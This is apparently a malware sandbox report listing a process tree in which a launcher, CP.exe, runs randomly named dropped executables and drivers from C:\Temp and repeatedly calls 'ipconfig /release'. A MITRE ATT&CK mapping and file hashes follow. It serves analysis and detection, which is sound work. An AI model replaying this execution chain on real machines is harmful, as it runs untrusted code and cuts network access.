      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5596,i,14696478513429104324,12365790551785563547,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:5268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=912,i,3084745451050594863,4297284590965204017,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:14
      4⤵
      PID:5968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4344,i,9292643367327392382,36269095801992045,262144 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4248
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tolgeywqoj.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5188
- - C:\Temp\tolgeywqoj.exe
    C:\Temp\tolgeywqoj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1424
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3576
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4532
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tolgeywqoj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1664
- - C:\Temp\i_tolgeywqoj.exe
    C:\Temp\i_tolgeywqoj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ytqljdbywq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5796
- - C:\Temp\ytqljdbywq.exe
    C:\Temp\ytqljdbywq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2652
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4832
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ytqljdbywq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1392
- - C:\Temp\i_ytqljdbywq.exe
    C:\Temp\i_ytqljdbywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4368
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aytqlidbvq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2460
- - C:\Temp\aytqlidbvq.exe
    C:\Temp\aytqlidbvq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5868
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3556
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5688
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aytqlidbvq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2776
- - C:\Temp\i_aytqlidbvq.exe
    C:\Temp\i_aytqlidbvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nifdaysqki.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5548
- - C:\Temp\nifdaysqki.exe
    C:\Temp\nifdaysqki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2144
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2644
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1048
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nifdaysqki.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4520
- - C:\Temp\i_nifdaysqki.exe
    C:\Temp\i_nifdaysqki.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5516
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhfzxvpkic.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3048
- - C:\Temp\nhfzxvpkic.exe
    C:\Temp\nhfzxvpkic.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5760
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4636
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3464
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nhfzxvpkic.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4416
- - C:\Temp\i_nhfzxvpkic.exe
    C:\Temp\i_nhfzxvpkic.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\smcaupkhcz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3364
- - C:\Temp\smcaupkhcz.exe
    C:\Temp\smcaupkhcz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5416
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:204
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_smcaupkhcz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1588
- - C:\Temp\i_smcaupkhcz.exe
    C:\Temp\i_smcaupkhcz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4596
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xrpkhczusm.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2972
- - C:\Temp\xrpkhczusm.exe
    C:\Temp\xrpkhczusm.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5592
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xrpkhczusm.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1112
- - C:\Temp\i_xrpkhczusm.exe
    C:\Temp\i_xrpkhczusm.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecwurmgezw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3820
- - C:\Temp\ecwurmgezw.exe
    C:\Temp\ecwurmgezw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5640
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5584
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1292
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecwurmgezw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5012
- - C:\Temp\i_ecwurmgezw.exe
    C:\Temp\i_ecwurmgezw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jgbwtomgey.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3180
- - C:\Temp\jgbwtomgey.exe
    C:\Temp\jgbwtomgey.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3404
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3640
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jgbwtomgey.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4712
- - C:\Temp\i_jgbwtomgey.exe
    C:\Temp\i_jgbwtomgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4660
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ztrljdbwto.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4152
- - C:\Temp\ztrljdbwto.exe
    C:\Temp\ztrljdbwto.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4616
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1640
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5872
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ztrljdbwto.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2596
- - C:\Temp\i_ztrljdbwto.exe
    C:\Temp\i_ztrljdbwto.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5968
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywtolgeyvq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3392
- - C:\Temp\ywtolgeyvq.exe
    C:\Temp\ywtolgeyvq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4420
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5060
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1956
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywtolgeyvq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3420
- - C:\Temp\i_ywtolgeyvq.exe
    C:\Temp\i_ywtolgeyvq.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3440
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bvsqnlfdxv.exe ups_run
  2⤵
  PID:1768
- - C:\Temp\bvsqnlfdxv.exe
    C:\Temp\bvsqnlfdxv.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6140
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4952
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4448
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bvsqnlfdxv.exe ups_ins
  2⤵
  PID:2368
- - C:\Temp\i_bvsqnlfdxv.exe
    C:\Temp\i_bvsqnlfdxv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1388
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kicayvqkic.exe ups_run
  2⤵
  PID:1920
- - C:\Temp\kicayvqkic.exe
    C:\Temp\kicayvqkic.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5872
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4700
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5696
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kicayvqkic.exe ups_ins
  2⤵
  PID:2780
- - C:\Temp\i_kicayvqkic.exe
    C:\Temp\i_kicayvqkic.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5240
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhfdxusqki.exe ups_run
  2⤵
  PID:5764
- - C:\Temp\nhfdxusqki.exe
    C:\Temp\nhfdxusqki.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6096
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:6076
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5296
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nhfdxusqki.exe ups_ins
  2⤵
  PID:1704
- - C:\Temp\i_nhfdxusqki.exe
    C:\Temp\i_nhfdxusqki.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:424
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\khcausmkhc.exe ups_run
  2⤵
  PID:1684
- - C:\Temp\khcausmkhc.exe
    C:\Temp\khcausmkhc.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2748
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4620
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2388
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_khcausmkhc.exe ups_ins
  2⤵
  PID:5220
- - C:\Temp\i_khcausmkhc.exe
    C:\Temp\i_khcausmkhc.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1432
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkecwurpmh.exe ups_run
  2⤵
  PID:1792
- - C:\Temp\mkecwurpmh.exe
    C:\Temp\mkecwurpmh.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6044
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5696
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4612
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkecwurpmh.exe ups_ins
  2⤵
  PID:5008
- - C:\Temp\i_mkecwurpmh.exe
    C:\Temp\i_mkecwurpmh.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mjhbztrpmh.exe ups_run
  2⤵
  PID:3772
- - C:\Temp\mjhbztrpmh.exe
    C:\Temp\mjhbztrpmh.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3876
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3032
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4472
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mjhbztrpmh.exe ups_ins
  2⤵
  PID:5960
- - C:\Temp\i_mjhbztrpmh.exe
    C:\Temp\i_mjhbztrpmh.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4312
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jgeywuomge.exe ups_run
  2⤵
  PID:1272
- - C:\Temp\jgeywuomge.exe
    C:\Temp\jgeywuomge.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4256
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1352
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4144
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jgeywuomge.exe ups_ins
  2⤵
  PID:4880
- - C:\Temp\i_jgeywuomge.exe
    C:\Temp\i_jgeywuomge.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4680
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbvtrligd.exe ups_run
  2⤵
  PID:668
- - C:\Temp\jdbvtrligd.exe
    C:\Temp\jdbvtrligd.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4596
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5732
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4288
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbvtrligd.exe ups_ins
  2⤵
  PID:4808
- - C:\Temp\i_jdbvtrligd.exe
    C:\Temp\i_jdbvtrligd.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ljdbvtnlgd.exe ups_run
  2⤵
  PID:3080
- - C:\Temp\ljdbvtnlgd.exe
    C:\Temp\ljdbvtnlgd.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4300
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1432
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3144
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ljdbvtnlgd.exe ups_ins
  2⤵
  PID:1084
- - C:\Temp\i_ljdbvtnlgd.exe
    C:\Temp\i_ljdbvtnlgd.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2808

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4248

C:\Temp\jdbytrljdb.sys
C:\Temp\jdbytrljdb.sys
1⤵
- Executes dropped EXE
PID:1500

C:\Temp\dbytqoidby.sys
C:\Temp\dbytqoidby.sys
1⤵
- Executes dropped EXE
PID:3464

C:\Temp\snlfdxvqni.sys
C:\Temp\snlfdxvqni.sys
1⤵
- Executes dropped EXE
PID:884

C:\Temp\dxnkifaxsp.sys
C:\Temp\dxnkifaxsp.sys
1⤵
- Executes dropped EXE
PID:6044

C:\Temp\usmkicausq.sys
C:\Temp\usmkicausq.sys
1⤵
- Executes dropped EXE
PID:6000

C:\Temp\rpnhecaurp.sys
C:\Temp\rpnhecaurp.sys
1⤵
- Executes dropped EXE
PID:1696

C:\Temp\ecwurmjhbz.sys
C:\Temp\ecwurmjhbz.sys
1⤵
- Executes dropped EXE
PID:3368

C:\Temp\omgecwuomh.sys
C:\Temp\omgecwuomh.sys
1⤵
- Executes dropped EXE
PID:2392

C:\Temp\gebwuomgey.sys
C:\Temp\gebwuomgey.sys
1⤵
- Executes dropped EXE
PID:5920

C:\Temp\ywqolgeywq.sys
C:\Temp\ywqolgeywq.sys
1⤵
- Executes dropped EXE
PID:4584

C:\Temp\bvqoigayvq.sys
C:\Temp\bvqoigayvq.sys
1⤵
PID:1992

C:\Temp\avsnkidavt.sys
C:\Temp\avsnkidavt.sys
1⤵
PID:2664

C:\Temp\nlfdxvpnkf.sys
C:\Temp\nlfdxvpnkf.sys
1⤵
PID:5036

C:\Temp\khcausmkhc.sys
C:\Temp\khcausmkhc.sys
1⤵
PID:2232

C:\Temp\usmkecwuom.sys
C:\Temp\usmkecwuom.sys
1⤵
PID:5972

C:\Temp\zwromkecwu.sys
C:\Temp\zwromkecwu.sys
1⤵
PID:2828

C:\Temp\mjebwuomge.sys
C:\Temp\mjebwuomge.sys
1⤵
PID:6052

C:\Temp\gebwtoljgb.sys
C:\Temp\gebwtoljgb.sys
1⤵
PID:5716

C:\Temp\ljdbysqoid.sys
C:\Temp\ljdbysqoid.sys
1⤵
PID:5860

C:\Temp\sqkigaysql.sys
C:\Temp\sqkigaysql.sys
1⤵
PID:992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c
MD5 0da87487a46ac0b219dfc10ebb7dbc09
SHA1 a58ed225df243160327f19f2d03ccb60693c562b
SHA512 cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4
SSDEEP 48:ieNHLtrCgTU534sKXG5BrBfdQSBe2nLB8JsU:dLlS3tpJ5un
TLSH
T12C91202301A68471C8BD8FF7118759C9FA7B51348311210C4AB30FD6E770A77456CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aytqlidbvq.exe

Path C:\Temp\aytqlidbvq.exe
Size 226KB
SHA256 a4756bc273234f4a10fe18c224b15a046c1c9ecab9ee3cf505f1798d0a669cc7
MD5 e2ef9c978b70efa50abe63e639caca32
SHA1 b5e8623405db53c568e1fb6ebe4bc4543a97b565
SHA512 0b301ffaf977a5367065d0e8b94f07059361e05d4ed7590896118d9e1e770ae63ebe3933155d2a11e66ac32718246cfc2f7e4c32307a283c0a93f2f4c908ab32
SSDEEP 3072:cGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:jXY4LK+a3lLNngoqRttA7
TLSH
T13E34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dbytqoidby.sys

Path C:\Temp\dbytqoidby.sys
Size 141KB
SHA256 7949bdd4d5758e79e0723898fefe3516c1a78b04094e014aa8b11de01a580551
MD5 e33b3224f7b5ccac215f79f317619ed5
SHA1 cb3e8a7bec0cf195f437f512bcde567ffc6ffefb
SHA512 eb25ba98b14f87e2f9284def41d019c2f6ae8996f86c05e5208f89b2bc86b58c5e83eb0208ec8854f2ad22915a5d4e59f239aa1123a81ff7d8bdab258ac192de
SSDEEP 1536:ga3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:ga3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T1C2E38C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dxnkifaxsp.sys

Path C:\Temp\dxnkifaxsp.sys
Size 141KB
SHA256 d8ed3b24bba43ba4766338846ae235d10d0732c4f676c90c1027ac0c1cd016bb
MD5 1c5513d89b3aa77555a853660ec8201a
SHA1 85c6c8d45851f6cd4b7bfd26d6bb1b7f6093aef1
SHA512 f6b1b98df7f30dfc5b594ee7bfa01c68a605c7af95ee70d09515f0d908c3bb10537e7f4c70f1ca7c2fcd70968b9b4354a2321bc9c2168518c82b37a5a903bce2
SSDEEP 1536:Ya3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Ya3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T112E37C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_aytqlidbvq.exe

Path C:\Temp\i_aytqlidbvq.exe
Size 226KB
SHA256 59358009ebe11db0c85c06d208d08051f1dc83b1934c3ea8785674fe196e50e5
MD5 6d55b87ce8a0c935b004eda438d42173
SHA1 6b99e5c276c0705bc24fd9ea2e006c8901a7d429
SHA512 a92a58fe31dc9069da78252f654fbf13d269bf20abb24f0b12a826f90573c5d20136ec1982b56a28175f38492d855097b682d7c5459bef97dad680b0edbf50ff
SSDEEP 3072:6GSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:BXY4LK+a3lLNngoqRttA7
TLSH
T15B34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nhfzxvpkic.exe

Path C:\Temp\i_nhfzxvpkic.exe
Size 226KB
SHA256 22c213061dfd2606c547b13b08d9c0aa637814308402a2515d2d292764bc3f71
MD5 92d61e250328f138f405a93cc8fcd76a
SHA1 a556514d0111c3db4fcd79c509bb06a64dbc45a3
SHA512 f260022aa64e182947ba3bfcabb533e1a3861fa1416a340257d66b3cee7a59696c96a83f9cbcfb3e53216841280cac216b88b8bcd200376ae0ddcffd6e4a9dca
SSDEEP 3072:jGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:CXY4LK+a3lLNngoqRttA7
TLSH
T19B34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795A312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nifdaysqki.exe

Path C:\Temp\i_nifdaysqki.exe
Size 226KB
SHA256 c3ea553fb2ec7b08f2cdc15747f092e3f2f7d5241367e2962dcb94cbc7f11c0d
MD5 97979cd6c3af650ab2197e127a215a6f
SHA1 5b5875ac5711e4e3afce8707f966f3a0c894fab2
SHA512 1b715b12573e8d6f1967c3c5882d709778f329b5ab3956f1083d0325dd3571defdad6570cff34811a3f890a53ffabc51415a728edd17c946f085c515da194581
SSDEEP 3072:tGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:MXY4LK+a3lLNngoqRttA7
TLSH
T19A34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_smcaupkhcz.exe

Path C:\Temp\i_smcaupkhcz.exe
Size 226KB
SHA256 051e399f1cedeb18a7768fb59a16362ad823ccc956d458b7bf160e8bd946ea3c
MD5 3ab8a8d6a4ab0bbcf252b4bb47927108
SHA1 e77e70aa2ec53e2c7c2ec537db8a329272bf2091
SHA512 ca1a813299323588527bdb9d0ab18baa50ef4402c38211fd93d208077d5f2044ef0ccd623cdea34b9ecaedbd0e0bfa2c9e6c59d1827880ab557a514d77a9d401
